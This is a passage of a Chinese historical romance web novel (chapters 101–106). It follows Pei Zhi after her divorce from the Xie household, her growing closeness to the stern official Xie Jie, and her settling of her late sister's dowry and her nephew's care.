谢玠目光落在她细嫩的脖颈上,那边有一点红,应该是他刚才用力掐出来的痕迹。
他眸光沉了沉:“过来我瞧一瞧。”
第101章 散淤血
裴芷低着头上前。
谢玠身量高,她身量娇小,堪堪只到了他下巴处。
谢玠垂眸看向她脖颈处,但只见云鬓如雾,一张玉雪似的脸越发小得可怜。心中某处又奇怪动了动像是要破土而出的芽。
他蹙眉按下这古怪感觉,只道是无故伤了人的内疚。
谢玠:“我要伸手撩你的头发。”
这角度瞧不清楚,若是要瞧清楚必须得将她的鬓发往旁按一按才能看清楚。说一声只是告诉她不要无故惊怕而已。
裴芷点了点头,垂首等着。
谢玠伸手按住她的鬓发,手指碰触到细腻的皮肤,忽地手下娇躯颤了颤。
他蹙眉道:“要是疼,忍着点。”
裴芷便不动了,任由他拨弄自己的长发。练武粗粝的指腹扫过脖颈处敏感的肌肤,陌生的触感令她非常不安。
明知道这样的触碰并不是为了私情,但终究是记忆中第一次被男子触碰到脖子处地方。
这地方说隐秘也算不上,但却是最敏感处。
他指间温度透过肌肤直蹿入心底,痒痒的,酥酥麻麻的很奇怪的感觉。她情不自禁想朝着他的掌心贴去。
迷迷糊糊想着的时候,她猛地清醒,急忙往旁边挪了挪。但这一挪还是碰到了他的手。
轻轻一碰,手掌突然变得炽热……
裴芷眼睫颤了颤,便不敢再动。
谢玠垂眸要找伤处,目光却渐渐移到了她的面上。
在松风院养了好些日子,总算是将她养得面色红润了些。脸颊嫣红,如一抹胭脂漫不经心抹上白玉石上。
琼鼻挺翘,眼睫浓密,因他的碰触微微颤抖。
看着神思便散漫开去,心里那点异动悄无声息地弥散开来。
她好生娇软,令人忍不住想狠狠怜惜。
手掌骤然滚烫,熨贴在她微凉的肌肤上。
那一夜的情形就这么突兀地冒了出来。
他将她压制住,怀里情潮翻涌,娇喘声声,是头一遭旖旎的春景。他用尽了所有的克制才不至于犯下不该犯的大错。
可……到底是肌肤相亲了。在世俗礼教中,两人其实早已不清白了。只是她不知也不敢向他求证罢了。
而他装聋作哑,不提便当没发生过。
“大爷?”
裴芷不适动了动,抬眸看向谢玠,“应该没伤着。”
她眉心微蹙并不确定。毕竟大爷的反应太奇怪,手搭着她的脖子站了许久。
谢玠收回手,垂眸迅速看了一眼:“有些红,一会让奉戍拿药我给你按下,免得留有暗伤。”
顿了顿,他突然道:“方才是我错了手,以后会小心。”
说完,转身坐在了上首酒案之后。
裴芷微怔,不明白谢玠后面一层意思是什么。呆想着了好一会儿,她才琢磨出他的意思——竟是拐着弯朝她致歉?
裴芷顿了顿,低声道:“是我撞了大爷,应该是我的错。”
谢玠拿着茶盏的手顿了顿,一双深眸看向她:“你有什么错?”
裴芷:“……”
谢玠沉着眉眼:“不是你的错,再小都不要认。”
“若是我的错,再小我也会认。”
裴芷看着他眉眼端肃地坐在酒案之后,方才的话一板一眼,越发显得周身气势冷硬得吓人。
他今日外出没有穿官服,着了一件银灰绣云鹤直裰,腰系络穗并一块青玉玉佩,头上并未戴方巾,而是束了一条青灰缎带,正中缀一块黑璞玉。
剑眉星目,眉眼深邃,将原本该是潇洒不羁的文人直裰穿出了秋风肃杀之气。
裴芷习惯了他的冷厉颜色,从善如流:“大爷说的是。”
谢玠指了指她刚才用饭的酒案处:“你坐着等。”
那处酒案有蒲团,正好她席地而坐,他便可以在旁边为她看伤。
奉戍拿来药酒,又怕裴芷下午争执中受了外伤,拿了一堆的伤药上来。临走之前还多看了她几眼,不知她到底伤在了何处。
谢玠冷冷瞧了一眼奉戍,奉戍识趣地下了楼。
裴芷摆弄瓶瓶罐罐,闻了闻发现好几瓶都是自己的方子做出的伤药。
她面上浮起笑,等离了谢家去了瓜洲就可以光明正大制药行医了。
她的医术不错,安身立命足够。
正想着,身边落下一道黑影,脖子便被一只修长的手按住了。
裴芷正要回头看,却听见身后人略带粗声:“别动。”
裴芷不动了。
任由他拿了一瓶药油涂上自己的脖子处。
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>药油冰凉,激得她打了个寒颤,还没等药油流下滚烫的手掌便覆了后脖处,然后轻重交替为她揉搓。
裴芷静静垂着头,不声不响由他按着。
初时并没什么感觉,只是觉得男子的手掌与女子的手很不一样,半个巴掌就能将她肩胛并脖子处覆住。
而后手上的力道加重了些,便脖子处酸痛起来。
大爷说的没错,果然是有了暗伤。
谢玠面沉如水,手中一下下按着,只为将一点瘀伤散开。
她皮肤太过娇嫩,轻轻一碰就泛起粉红,揉了片刻便红了一大片。与旁边白腻如雪的肌肤形成鲜明的对比。
掌心处的滑腻随着揉搓好似融入了身体中,能感觉到掌下的女子单薄与娇媚。
呼吸渐渐灼热,手指不经意擦过她的背,长发被挑落一络。
乌黑的发丝勾在他的指间,缠缠绵绵,似不让他匆忙离开。
突然,裴芷“唔”地轻吟。
谢玠眸光一暗,猛地放开手。裴芷正要回头,突然肩上的薄衫滑落露出了半片香肩。
她面上红了红,急忙拢起:“大爷,不用按了。没事了。”
半天,才听得身后谢玠“嗯”了一声。
裴芷僵着身子没回头,直听到身后衣衫簌簌,似乎谢玠在整理长袍。
她缓缓回头。
谢玠竟然没走,而是盘膝坐在酒案一侧。雅间中烛火明亮,他背光,席地而坐,一眼看去衣衫潇潇肃肃,端的是清贵冷峻的贵公子。
裴芷不敢问他为何不上座,而是非要与自己挤一张酒案。
垂首低眉:“今日见大爷,还没谢过大爷相助之恩。”
谢玠淡淡“嗯”了一声:“谢观南应该不敢为难你。”
又道:“他与你说了从前的事没?”
裴芷听了这话才明白为何谢观南会主动提起三年前,她与沈晏退婚的缘由。
原来是谢玠暗中使了手段。
谢观南这个**子怕死,更怕身败名裂。自然是知无不言言无不尽,将原本不用说的往事都统统说了。
他还叫她“与那人说放过我”。
想必那人便是谢玠。
当然,谢玠不可能亲自出面。逼迫暗示谢观南朝她认罪的,应该是陈大人。
第102章 千年铁树开了花
想通了其中的关节,裴芷柔声道:“和离书已经送到了官府,只等盖了官府的印章便事了了。”
谢玠微微颔首。
这事他知道。
今早和离文书一到府衙盖了章就送到了他手中,而且是大理寺的陈大人亲自交给他审阅。
裴芷起身绕过酒案,面朝谢玠整了整衣裙,郑重拜下。
“妾身能全身而退,是大爷暗中帮助,大爷又救了妾身,恩情犹如再生父母。”
“请受妾身一拜。”
谢玠垂眸不语。
他为人做事太过严肃,总是没人愿意与他公务之外的亲近。
一直以为只有他这样,直到遇见她,才知天外天,人外有人。
那点举手之劳的恩情,她说了又说。
谢玠垂眸,问:“你今后怎么打算?”
裴芷一愣,便将自己想得烂熟的想法都说了。
“谢观南将我姐姐的嫁妆都还给了我,银钱数目巨大。我会存在银庄上。取一笔在身,先回裴家与母亲一些,然后去杭州寻我外祖家,与外祖母家住一段日子。”
“外祖母上了年纪,我想在她膝下尽孝一段日子。最后再去瓜洲。”
谢玠拨弄茶盏的手指微微一顿,一双深眸微眯:“瓜洲?你还是想去瓜洲?”
裴芷点头,眸中有光:“听说瓜洲民风开放,行商的人很多,女子也能开铺子,当家做主。”
谢玠不语,垂眸看着茶盏中凉掉的茶水。
茶盏是上好的汝窑,色极淡,明明是清爽的天水青,在昏暗的烛火下看着是一团白。
指尖落在那团粉白上,眼前忽地晃过那一处雪肤若玉。
手指猛地蜷紧,他眸里冷意朝她滚滚而来:“你确定你能平安到瓜洲?”
裴芷疑惑瞧着他。
谢玠背光而坐,身后烛光将周身镀上一层温和光晕,唯独照不亮他的脸。
他瞧着她的时候,眼窝深邃得像是两个黑洞,瞧着阴气森森,冷压迫人。
裴芷小声道:“大爷何意?”
“我让表舅帮忙置办瓜洲一处院子,想必能安顿下来……”
谢玠冷冷打断她的话:“买了院子就能安居乐业了?你未免想得太简单了些。”
“你离开京城是因为怕和离身份遭人嫌弃,不愿意留着。”
“但瓜洲也不是什么好地界,那边民风开放,意味着不受约束,龙蛇混杂。你一介弱女子去了等于羊入虎口。你想仔细些再与我说。”
裴芷垂首不语。
谢玠见她垂头丧气,又道。
“还有,回裴府也不妥。”
裴芷与他目光撞上:“大爷,我……”
谢玠面无表情:“你母亲私心太重。三年前毁了你与沈家的婚约,又逼你嫁人。这样的母亲,安不知她会出卖你第二次?”
雅间陷入了死寂。
她的打算初看没什么问题,实则处处皆漏洞。
每一处关键想得太简单,太乐观,在他眼里看来皆是不妥。
甚至连亲生母亲苏氏都不可靠。她竟然还想回裴府看看。
谢玠耐心等着她的回答。
若是依旧冥顽不灵,他便是白救了。毕竟蠢人最终还是会被自己蠢死的。
可若是她向他求救……他大抵还会再帮她一次。
裴芷愣愣出神了一会儿,轻声道:“大爷说的是,我母亲若是知道我和离了,要么让我向谢府负荆请罪,做一辈子没尊严的奴。”
“要么,便一根绳子让我吊死,免得污了裴府的清名。”
“这些个我都知晓。但我姐的嫁妆也不能全被我白得带走。母亲虽不慈,但对我姐是极好的。我得替我姐尽一份孝心,将裴家安顿好才能走。”
“所以裴府得冒险回一趟。”
谢玠缓缓挑眉。
没想到她能说出这番道理来。
说她愚孝,却不能说她无义。
裴芷看向他,依旧柔柔的:“大爷,天地虽大,却没有我容身之处。”
“既没有,那便去哪儿都无所谓。”
谢玠不再言语。
良久,他缓缓道:“既是去哪儿都无所谓,先留京城。”
裴芷性子向来柔顺,既然谢玠替她下了决定,她便不会逆了他的好意。
就算他的话太冷硬又太残酷,她也不会起逆反心思。
她晓得,大爷都是为了她好。
谢玠指了指身边的位置。
“坐过来。”
裴芷低着头坐在了他身边。
一坐下才发觉不妥。
他是谢府大爷,是男子
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,又是她恩人。
她怎么可以与他同席?
裴芷要起身让座,一只手将她按住。
他不悦:“坐着陪我用膳。”说着让人传膳。
裴芷便不动了。
谢玠忙了一天,肚中饥饿,等上菜的间隙拿起手边的汤碗喝了一口。
裴芷愣住,呆呆看着他。
那是她刚才喝了一半的甜汤。
“大爷……”
谢玠看向她,乌沉沉的眼叫她将后半句话吞了回去。
罢了,都喝了还能怎么办。
总不能叫他吐出来。
谢玠见她欲言又止,眼神飘过他手里的甜汤几次,眸色微微一闪。
他将剩下的慢慢都喝光了。
裴芷脸瞬间红透了。
没等一会,菜肴重新上了一遍,酒楼掌柜亲自奉上。
在瞧见谢玠身边安坐着一位素雅美人时,惊得眼珠子都要飞了出去。
哪家小娘子有这等福分,竟然与谢大人同案吃饭?
掌柜的不敢多看,又忍不住想看清楚,才多看了两眼,身后就默默走来奉戍。
掌柜的头一缩,悄悄下了楼。
奉戍心情其实与掌柜的差不多,因为他刚才瞧见了谢玠用了裴芷用过的碗筷。
从没见过大人与女子这么亲密。要是换成别的,那是近身三尺他都皱紧眉头。
多少人想给大人塞美人,更是原样来,原样打包送走。
看都不看一眼。
这位二少夫人,哦,不,裴二小姐是真的让大人另眼相看。
奉戍站在一旁内心揣度。
只见谢玠拿过一碗新打的甜汤,放在裴芷面前。
“我喝了你一碗,这碗还你的。”
裴芷呆了呆:“大爷,我不饿。”
谢玠拿了银勺放在碗里,淡淡道:“这是当季的甜汤,过几天就不做了。”
裴芷听懂了,拿起银勺慢慢喝了起来。
喝了一口,她小声道谢,眼里是高兴的。
谢玠没说什么,但冷峻的眉眼也比平日温和。
旁边奉戍惊得下巴都要掉下来。
大人这是……在劝小娘子喝甜汤?
千年铁树终于开了花。
一开就这么惊世骇俗,奉戍突然觉得自己在旁边碍眼得很。
,
第103章 同乘
谢玠用了些晚膳,天已全黑了。
裴芷也该回府了。
她正要想个措辞告辞,谢玠却已经往楼下走去。
奉戍上前笑道;“二小姐不用操心,坐大人的马车一起回。”
裴芷轻声道;“不太好吧。”
刚和离就与谢家大爷一起同乘一辆马车,总觉得不安。她知自己和离之后在京城中不会待太久,名声无所谓,但却不能连累谢玠。
奉戍一摆手;“谁敢背后编排大人?怕不是活腻了。”
裴芷想了想,轻声吩咐梅心拿了件斗篷披上,又将兜帽拢着,由梅心扶着往马车去。
才刚踏上马车,就听见奉戍朝着外面说了一句。
“小侯爷怎么没走?”
裴芷想回头看是谁,但一抬头谢玠在车中朝她伸手。
她面上微红,情急之下伸手搭了一把上了马车。
谢玠的马车很宽敞,裴芷落了座后轻声道谢。
听到外面奉戍在与人说话,裴芷侧耳听着,也不知是什么人缠着奉寒暄。
谢玠忽地将她一揽,兜帽便顺手盖在了她头上。帽沿宽大,很轻易就盖住了她的脸。
裴芷呼吸一窒,刚想说什么,就听见车帘似被人猛地掀开。
一道爽朗的男声传了过来;“谢大人,本侯爷邀了你好几次,你怎么不回我帖子?”
裴芷的心仿佛要跳出来,心里又气。
要不是谢玠将她揽过去,又盖上兜帽,这不问就揭车帘的人就将她瞧见了。
到时候流言难听,还不知道怎么辩解。
谢玠声音低沉;“小侯爷,我不记得你什么时候下过帖子。”
朱景辞眼风一转,瞧见了谢玠身后缩着的一位女子。
车厢里昏暗,并不能瞧见女子面容,更何况她还戴着兜帽,将脸尽数遮挡得严严实实。
朱景辞只能瞧见那女子细白的手指抓谢玠的袍角,微微颤抖。
只一眼,就叫人心生怜惜。
她该是吓坏了,不然是怎么敢发了昏拽着谢玠的袍子。
谢玠的凶名,整个京城皆知。
朱景辞笑;“谢大人贵人多忘事,回帖子这等小事自然是不记的。”
说着,一边尽力往马车深处瞧。
可那女子实在藏得太严实。除了露出手指外,别的都看不见。
谢玠身材高大,偌大的车厢被他刻意挡了一半。
满满当当,那女子身影被他尽数覆住。
谢玠不动声色将身后的人再挡一挡,冷淡道;“小侯爷还有何事赐教?没事的话,我想回府歇息了。”
朱景辞本就是为了看一看进马车的女子是不是先前见到的小裴氏。
但眼见谢玠这脸色,人是见不到了。再磨磨蹭蹭,下一刻自己就该见血了。
朱景辞笑道;“没什么事,就是今日偶遇谢大人,突然想与谢大人攀点交情。”
谢玠冷笑一声;“奉戍。”
奉戍早就等得不耐烦,上前一步将朱景辞手中车帘用力扯下。
“小侯爷,请。”
朱景辞是个脸皮厚的,桃花眼眯起道;“奉戍大哥好大的威风。我和你家大人还没说完呢。”
奉戍面无表情,让马车赶紧离开。
等马车离开,朱景辞脸上的笑容渐渐收了起来。
说来也是莫名,他随着沈晏离开和酒楼后心里总觉得哪儿不对。于是又折返回来。
去了天字号雅间早就人去楼空。问了掌柜的,掌柜说人都走了。
再问谢玠,掌柜笑着打马虎眼就是不说。
朱景辞索性在酒楼附近寻了个茶楼蹲守。果然让他等到谢玠出来。可还没等到他上前看仔细,那女子就上了马车。
朱景辞站在原地看着马车绝尘而去,
突然明白为什么觉得哪儿不对了。
谢玠身边竟然有女人!
……
马车驶出老远,裴芷才从谢玠身后出来。
被兜帽闷了好一会儿,她憋得通红。
也不知该说什么,便悄悄离谢玠远些。
“今日差点连累侯爷。”她顿了顿,“也不知那侯爷是哪位。”
“他是新袭的北靖侯。人们戏称红衣小侯爷。以后撞见他,躲远些。”
谢玠冷冷说完,见裴芷一脸迷茫,加了一句:“他与沈晏是好兄弟,私下喊他三哥。还屡次为沈家当年兵败之事抱不平。”
“你与沈晏退婚,他应该是连你一起记恨。不然也不至于今日冒着得罪我的风险,也要掀了帘子瞧你是谁。”
裴芷脸色白了白。
她想起了酒楼为自己解围的红衣少年郎。
以为他是个好人,没想到他竟存着别的心思。
裴芷垂首不说话,心里却是前所未有的迷乱。
大爷说得对。
外间太复杂,是她太天真,凡事没顾虑周全。
单单出门用个饭就碰见许多麻烦事,若是去了千里之遥的瓜洲,她又该怎么
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应付。
裴芷怔怔出神。
谢玠看了她一眼,见她神色萎靡,鬓发散了,头上发簪也快掉了。
呆猫变成了蔫猫,还是乱糟糟的。直叫人想揉捏两把。
他突然道;“先送你回府,从侧门走。”
裴芷醒过神,点头答应。
两人便无话再说。
谢玠闭目养神,裴芷乖觉坐在一旁。
心思渐渐沉静下来。
她性子是有些迟钝在的,情绪来的慢,忘得快。很快就不丧气,甚至昏昏欲睡。
谢玠缓缓睁开闭着的眼,见裴芷垂着脑袋一点一点的,居然打盹了。发丝散在玉雪似的脸旁,有些乱,却也将她的脸遮得越发小。
睫毛微颤,在巴掌大小的脸上投下一小片阴影。
她看起来更像一只猫儿了。
毛茸茸的。
手伸了过去,轻轻落在她的脸颊旁要为她掠去乱发。梦中的裴芷无意识凑了过去。
微凉的脸颊如一片羽轻轻蹭过他的掌心。
手猛地缩了回去,慢慢蜷成拳,拳上青筋隐动,浮现青白。
马车碾过一块石头,裴芷被晃醒,一睁眼就看见对面的谢玠双目微睁,正盯着自己。
裴芷一激灵,坐直了身子。
谢玠见她满眼迷蒙,淡淡道:“回去早些歇息。”
裴芷轻声应了,见他没往自己这边瞧,悄悄摸了摸脸。
幸好,应该没露出什么睡觉的蠢样。
快到谢府时,裴芷要下车。
“这个掉了。”
谢玠手一伸,掌心躺着她的发簪。
裴芷脸骤然红了。接过发簪便开始挽发。
她穿着斗篷挽发不方便,挽了两次都滑落。
鼻梁上渐渐冒出汗珠来,面上尴尬。再一抬头却见谢玠还在马车里,一双深眸瞧着自己,也不知道在想什么。
怕不是笑话她蠢吧?
裴芷被这个念头唬了一下,手越发笨拙了。
谢玠拿过她身上的斗篷,道:“我让你丫鬟进来帮你。”
说着他下了马车,唤来梅心。
有人帮忙,裴芷很快整了仪容,款款下了马车。她以为谢玠自顾自走了,却没想到他站在马车边等着,面上并无半点不耐。
“早些歇息。有事吩咐奉戍。”他顿了顿,“明日我让奉戍给你拨两个护卫。以后出门都带上。”
他看着她的眼睛,慢慢道:“不急着离京,将来去处我帮你慢慢参详。”
第104章 要不你跪地道歉
谢玠走了。
夜风****,风中有草木潮湿的气息,还有深巷中不知哪家花开的香气。
幽幽地钻入心里,要将心底某处荒芜召唤醒来。
裴芷拢了拢斗篷,对着打开的侧门,深吸一口气提步慢慢走了进去。
……
第二日一早,裴芷早早醒来,用过早膳便去了北正院。
如今和离了一身轻,再也不是谢家媳妇,也不惧怕出入北正院。
只是有一道难处——北正院离了清心苑远了些,要走不少路。为她理家添了麻烦。到了中午也不方便,若是要用午膳与歇息还得回清心苑一趟。
侯管事曾在第一日就暗示她可以在北正院偏院简单安置下,方便理家。
裴芷没答应下来,毕竟她并不想在谢府多待。
如今在谢府,只不过为了处理和离的手尾。
她让下人将自己日常用的东西暂时搬到北正院的一处偏屋。用过午膳后在北正院小憩片刻,就可以继续理事。
裴芷到了北正院,梅心领着丫鬟们将偏屋收拾出来安放洗漱用具。
她便去探望二夫人秦氏。
秦氏用了三天的药,气色好多了,能起身用些米粥。
只是**终究伤了身子的根本,秦氏面色蜡黄,头发白了许多。看人的时候有气无力,没了从前的精气神。
裴芷进了屋子,秦氏费力挣起身,嗓音沙哑:“你来了。”
裴芷上前福身请安。
和离之事还没告知府中众人,她会在下人面前给秦氏该有的体面。
秦氏让伺候的丫鬟离开,死死盯着她:“昨儿观南当真给了你和离书?”
裴芷没搭话,坐在床沿摸了摸秦氏的脉。
“二夫人,您身子的毒素再清五日就能下地了。只是伤了根本,加上旧疾,恐怕要好生调养许久。”
她起身坐在桌边,写了几张方子。
十分平和地瞧着秦氏:“我已将调养的方子,还有二夫人日常吃的益气丸的方子都重新写了三份。二夫人自个看着用。”
秦氏捂着心口,神情恍惚瞧着她。
面前的女子当真是小裴氏吗?沉静从容,面上隐隐有华光,再也没有从前被压抑的沉闷与木讷。
她这般年轻又这般美,比三年前入谢府更有光彩。
若是旁人见了会以为裴芷在谢府过得极好,可秦氏知道这三年她没少故意磋磨,她如此焕发光彩全靠她底子好,品性好。
满心怨怼女人的脸是不可能好看的。
秦氏哑着嗓子:“你当真要走?”
裴芷点了点头,犹豫片刻还是将自己的打算说了:“我会留半个月,等恒哥儿的病养好了,正好铺子那边算好账交接妥当了。”
“二夫人,我不会久待的。”
秦氏心头一梗,差点昏过去。
心中残存的希冀尽数落了空。
裴芷与秦氏并无什么话好说,探探脉,留下方子就去了堂屋见几位管事和账房先生。
姐姐裴若的嫁妆中有十五间铺子,还有两处庄子。庄子下还有近百亩良田,都在离京城很远的隔壁郡县。
庄子可以先不管,铺子比较重要。
裴若过世,这三年铺子都在秦氏手中管着。账目要算清楚,安排进来的人也得筛选一遍再正式接手。
或卖,或租出去,都得有个说法。
侯管事是秦氏的人,理事与算账是一把好手。裴芷迟早要走,便不会动他,依旧让他帮忙暂时管着这些琐事。
侯管事将裴若名下的铺子情况禀报完毕,道:“盈利有五间,其中三间二少夫人给了小少爷,还剩下两间,一间是米铺,一间是卖布的铺子。”
裴芷看了账册,两间铺子盈利也并不多,拿着劳心劳力并不划算。
她道:“这两间铺子找个中人卖了。铺面位置不错,应该能卖点好价钱。”
侯管事也是这个意思,便点头应下。
其他铺子便好办,既然不能盈利便都卖了折成现银,都存入银庄中。
侯管事又说起库房中的字画文玩。抬来了一箱落满灰尘的箱子。
侯管事道:“这是已故二少夫人陪嫁来的,在嫁妆单子上,但却并没有写是什么。小的不敢擅自打开。”
“请二少夫人打开清点。”
裴芷点头,让人搬到清心苑去。等空闲了再打开看看是什么。
还有裴若的首饰宝
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箱,也一并呈上来给她看。
一尺见方的珠宝箱沉甸甸的,一打开珠光宝气,富贵逼人。
裴芷默了默,旁边的侯管事也沉默了。
他是带人抄过清心苑的,亲眼见过裴芷的首饰盒里就几支簪子,一百两的银票。不及裴若珠宝的百分之一。
裴芷慢慢道:“这些是我姐姐留下的首饰,挑几件体面的头面留下来,将来恒哥儿若是娶亲再给他。”
“其余散的簪子钗子等,我亲自挑些好的也留给恒哥儿将来的妻子。”
她仔细吩咐,很快便分好了这些遗物的去处。
侯管事心中百味杂陈。
他发现从前都小瞧了裴芷。她虽不如已故的二少夫人裴若伶俐,讨二夫人喜欢,但却宽和大度。那么多不公道之下,她初心依旧。
要走之前她还以德报怨,一点都不留恋,实在是太难得了。
裴芷与侯管事吩咐完了今日该做的事后,谢观云与恒哥儿一起来了。
连着两三日侍疾,谢观云气色明显差了,对上裴芷时也不会如从前那般盛气凌人。
她今日是来求裴芷不要让她侍疾。
侍疾要端茶送水,喂药喂粥,那是下人干的活,她不想干。
裴芷点头:“三姑娘要是不想做,便与二夫人说一声。”
谢观云见她答应,心道果然小裴氏还是怕她母亲的。等母亲病好了,定要狠狠罚裴芷。
想着,面上就有了得意:“算你识相,我母亲肯定舍不得我累。”
说着她就要进屋与秦氏说话。
“三姑娘。”裴芷唤住她。
谢观云回头,十分不耐烦:“什么事?”
还没等裴芷开口,她便得意道:“我知道,你是怕我与母亲说你的坏话。”
她揣着恶意瞧着裴芷,道:“那我给你一个机会,你跪下来与我道个歉。然后再……再给我买一匹小马,买一副点翠头面。我就原谅你。”
“我母亲病快好了,等她病好了便能收了你。”
“小裴氏,你始终是要靠着我们谢府过日子的。别以为我母亲病了,我哥管不着你。你若是没诚意讨好我。我有的是手段给你点颜色瞧瞧。”
第105章 不能再抽我了
裴芷静静瞧着谢观云。将她瞧得浑身不自在,背后泛起毛**冷汗来。她回想起了前天裴芷让人将她房中下人都抽一遍耳刮子的情形来。
谢观云急忙捂住脸:“你瞧着我做什么?你,你别想让我抽我的脸。”
裴芷摇了摇头:“我不抽三姑娘。”
谢观云暗暗松了口气:“不抽就好。”
许是她说了这话觉得自己好没底气,不由换了一副凶巴巴的表情,恶声恶气道:“不抽你这么瞧着**什么?我脸上有什么好瞧的。”
说着,她赶紧往后退去。
裴芷摇头:“没事了。三姑娘进去去看二夫人吧。”
谢观云太蠢,她刚升起追究的念头又瞬间打消了。
看谢观云如今行事做派,吃大亏是早晚的事。
她何必和一个倒霉孩子计较。
谢观云见裴芷不追究,心中奇怪。这两日府中上下的人都悄悄议论裴芷要当家了。她房中的下人被狠狠罚了一回后,拼命劝她要向裴芷低头。
还有的说若是秦氏不好了,将来她的婚事是要裴芷操持的。
若到了那个时候裴芷怀着怨恨,将她随便找户人家嫁了,哭都来不及。
谢观云听了这些话心里是不信的,但又隐约觉得母亲与哥哥都好像变了个人似的躲着裴芷。
该不会是裴芷真的要当家吧?
谢观云急于得到答案,匆匆进了秦氏的寝屋。
谢观云一离开,恒哥儿就由乳母曾氏抱了上来。
恒哥儿见到裴芷,嘤嘤要往她怀里扑去。裴芷抱了过来,一边与乳母曾氏说话,一边摸了摸恒哥儿的脉门。
孩子的发烧好了,就是身子实在是虚得很,连带着五脏六腑都是亏损的。
裴芷头疼瞧着怀里的恒哥儿。
她早就决定不管恒哥儿。因为这孩子被养废了,而且也架不住周边人的偏见,将来也会影响到他,是绝不可能和自己贴心。
但奈何血缘关系在那边,她若是一走了之,九泉之下的姐姐要爬上来找她。
裴芷问了恒哥儿的饮食起居。
问完了,她将恒哥儿交给乳母曾氏,道:“把孩子带下去,明日起用完膳,领着他在院中散半个时辰,不过不许跑跳。”
乳母曾氏点头应了下来,犹豫问:“二少夫人不亲自照料小少爷吗?”
“这几日小少爷吵着闹着要找二少夫人呢。经常半夜还哭着睡着呢。”
裴芷摇头。
乳母曾氏失望:“小孩子不懂事,被人撺掇了对二少夫人有了误解。这些日子我已给小少爷说清楚了。他不会这般胡闹了。”
“二少夫人……”
裴芷没搭这话,只是吩咐她将恒哥儿抱下去。
乳母曾氏见说不动她,叹了口气,带着孩子失望地走了。
裴芷目送他们离开,轻轻摇了摇头。
梅心欲言又止,有心要劝裴芷两句,但想起若是裴芷心软接起照顾恒哥儿的重担,就再也走不了。
那从前为了离开受的罪,还差点搭上的性命又算什么呢?
人生在世总是要有所取舍的。
不是舍了这个,就是得舍了那个。
梅心想着想着,脱口而出:“少夫人别伤心了。恒哥儿虽然可爱,但将来少夫人也会有自己的孩子……”
一想到这个,梅心就高兴。
少夫人是好女人,又长得美,将来若是能再嫁个如意郎君生个娃娃,一定是世上最可爱的娃娃。
比恒哥儿好上百倍。
裴芷看了她一眼,失笑:“你这丫头说什么呢。我不是想这个。”
梅心好奇:“少夫人不是舍不得恒哥儿吗?”
裴芷摇头:“又不是我的孩子,我没有舍不得。我只是在想谁来教养他比较好些。”
恒哥儿身上好歹有一半她姐姐的血脉,她实在是不好就这样将孩子丢下。
秦氏**之后病弱,谢观南又不是个好父亲,且也没经手过养育孩子。
他们两人自顾不暇,怎么能养好恒哥儿。
梅心不知她的想法,也不敢再胡乱说。
她嘟哝一句:“谢府二房的家风不好,养出的孩子肯定不好。”
“我瞧着谢大爷大房那边的家生子都比恒哥儿有规矩多了……”
大房?
裴芷看向梅心:“你刚才说了什么?再说一遍。”
梅心吓了一跳,以为裴芷发怒:“我没说什么,少夫人不要生气。”
裴芷哭笑不得:“我没生气。就
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是你念叨什么家风。”
梅心的话提点了她。
家风不正,养出来的孩子自然是不好的。看谢观南与谢观云就明白了。
一个爱慕虚荣、虚伪的**子。一个不知感恩,刁蛮任性的小姐。
恒哥儿若是在秦氏手中养着,必定也是第二个谢观南与谢观云。
只能狠心换个环境。
恒哥儿还小,严加管教还有得救。
等到了**岁,心智一开就再也来不及了。
谢府对她犯下的罪孽,她实在是不想牵扯到孩子身上,所以还想尽最后一点绵薄之力让孩子走上正道。
梅心道:“奴婢刚才说的是,谢府大房的家生子一个个都很是守礼,还非常热心正派。”
她压低声音道:“大爷训出来的人,肯定正直。”
“何不问问大爷,让大爷安排小少爷。或举荐一个人教导小少爷。”
谢玠?
裴芷忽地想起了昨夜他临别时与她说的那一句。那时风细细,夜茫茫,他的眼眸好亮,瞧得她都不好与他对视。
他又破天荒说了那句。
一颗原本无着落的心突然间好似风落云定,便在那一刻信了他。
信他能为她谋划出一处无忧的归宿。
裴芷心思飘远了,过了良久,她低声道:“先回清心苑,然后我写张条子,你帮我给二爷。”
梅心吓了一跳:“与二爷有什么关系?”
她面上是藏不住的厌憎与害怕:“二爷不来寻少夫人的晦气,就不要招惹他了。”
她想起谢观南那时的癫狂,禁不住发抖起来。
谁曾想从前敬重的翩翩世家公子,揭下脸皮,那么坏。
裴芷握住梅心的手,温声道:“我找他商量恒哥儿的事。”
“别怕,有大爷在,二爷不敢再乱来了。”
“大爷是我们的靠山,也是底气。但不能指望事无巨细都叫大爷来。恒哥儿的事得让二爷先答应脱手才好办。”
梅心点了点头。
裴芷瞧着天边落日缓缓西沉,惊觉又是一日过去了。
从未觉得这日子过得那么快,又那么慢。
她与秦氏说的顶多待半个月就走。可现在恨不得头也不回地离开这地方。
第106章 极好的良配
裴芷回了清心苑,写了一张条子让人送给谢观南。
谢观南的回复倒是极快,不到一刻钟便大书房那边有了回信。
下人道:“二爷说了,恒哥儿的事一向是二少夫人做的主。便由二少夫人与二夫人商议就行。”
裴芷听得眉心皱起。
若是平时听了这话,她必定高兴的。
谢观南将孩子托付给她,便是极大的信任。
可如今和离之后叫她看清楚了谢观南的真面目——他并不关心恒哥儿的去处,也只想将孩子的责任甩给了旁人。
口口声声说是她做的主,她真做了主,恒哥儿好与坏都与谢观南再无关系。
得了好,便是他做父亲的荣耀。
得了坏,便是都是旁人的责任。
裴芷默默想着,并没有让下人回去复命。传话的下人战战兢兢瞧着裴芷,心中纳罕。
二爷传的这话寻常,往日关于小少爷的事都由二少夫人做主。
从前二少夫人得了这话,一般都高兴的。还会赏赐传话的人一点好处。
怎么今日这般难以决断。
裴芷道:“你再去与二爷说,若是他不管恒哥儿,那我便不好安排。叫二爷与二夫人商量妥当,若是觉得我的法子不妥当,便自行决定。”
下人疑惑地走了。
裴芷便不再想这件事,着人传晚膳。
很快晚膳端了上来,比之平日多了两道做得很好的荤菜,还有一碗炖得极好的人参乌骨鸡汤。
裴芷用了,剩下的菜赏了梅心与兰心。
正打算等她们用完了,便撤了碗筷。忽地,下人道有位管家婆子来了。裴芷让人传了进来。
只见一位管家婆子笑眯眯从外面进来。她提着一个精美的朱漆食盒,见到裴芷行了一礼。
“二少夫人好,这是和悦酒楼孝敬给二少夫人的吃食。”
裴芷心中奇怪,让人拿了上来。
食盒打开,她微微一怔。是一碗甜汤,还有一份她觉得不错的春笋火腿煨老鸭汤。
裴芷见管家婆子脸生,问:“你是哪院的?”
